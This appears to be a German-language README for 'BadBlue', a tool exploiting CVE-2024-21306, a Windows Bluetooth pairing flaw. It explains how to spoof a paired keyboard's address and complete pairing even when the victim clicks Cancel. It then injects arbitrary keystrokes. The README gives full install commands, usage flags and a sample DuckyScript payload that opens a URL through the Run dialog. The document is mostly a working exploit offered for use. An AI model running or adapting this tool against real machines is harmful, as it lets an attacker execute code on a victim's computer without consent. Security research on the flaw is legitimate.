
CVE-2024-21306 BadBlue implementation (Using DuckyScript)
CVE-2024-21306 BadBlue-Implementierung (mit DuckyScript)
Unauthentifiziertes Peering, das zur Codeausführung führt (mit HID-Tastatur)
Dies ist eine Implementierung der von marcnewlin entdeckten CVE
Und ein Teil des Codes von BlueDucky
BadBlue ist ein leistungsstarkes Tool zur Ausnutzung einer Sicherheitslücke in Bluetooth-Geräten. Mit diesem Skript können Sie:
Ich habe es erfolgreich auf einem Raspberry Pi 4 und in VirtualBox mit dem CSR 4.0, ORICO 4.0,… Bluetooth-Modul ausgeführt. Es funktioniert gegen verschiedene Windows-Versionen unter .3007. Der Windows-Computer muss mit einer Bluetooth-Tastatur gekoppelt sein, und die Tastatur muss ausgeschaltet (oder außer Reichweite) sein.
Ein Angreifer, der einen Ubuntu-Computer (Kali kann laufen, wird aber nicht empfohlen) und einen Bluetooth-Adapter auf Broadcom-Basis (CSR 4.0 läuft möglicherweise) verwendet, fälscht die Adresse der Ziel-Tastatur und verbindet sich mit L2CAP 17 auf dem Windows-Computer, während die NoInputNoOutput-SSP-Pairing-Fähigkeit angegeben wird.
Das Opfer sieht eine Benachrichtigung mit der Meldung Add a device Tap to set up your <Tastaturname>.
Wenn es die Benachrichtigung ignoriert, passiert nichts.
Wenn es auf die Benachrichtigung klickt, wird ein Bluetooth-Pairing-Anforderungsdialog angezeigt.
Wenn das Opfer die Benutzeroberfläche Add a Bluetooth device geöffnet hat, sieht es keine Benachrichtigung, sondern erhält sofort die Pairing-Anforderung als modalen Dialog.
Der Angreifer kann das Pairing abschließen, sobald der Pairing-Anforderungsdialog geschlossen wird, selbst wenn der Benutzer auf Cancel oder X klickt. Sobald das Pairing abgeschlossen ist, verbindet sich der Angreifer mit L2CAP 17 (HID Control).
Der Angreifer kann sich dann mit L2CAP 19 (HID Interrupt) verbinden und beliebige Tastenanschläge einfügen.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Schnittstelle> -k <Tastatur-Adresse> -c <Windows-Adresse>Cancel oder Approve).-k steht für die Tastatur (Standard: meine Tastatur F4:73:35:7A:4B:BB, dies müssen Sie ändern)
-i steht für die Schnittstelle (Standard: hci0)
-c steht für das Ziel-Windows-Gerät (lassen Sie das Feld leer, dann scannt das Tool automatisch für Sie)
In Arbeit:
Möglicherweise fehlt bei der ersten Nutzung readchar, verwenden Sie den folgenden Befehl:
pip install readchar
Dieses Tool sollte in einer GUI-Umgebung ausgeführt werden; CLI kann einen dbus-launch-Fehler verursachen. Wenn Sie wissen, wie Sie das beheben können, kontaktieren Sie mich.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300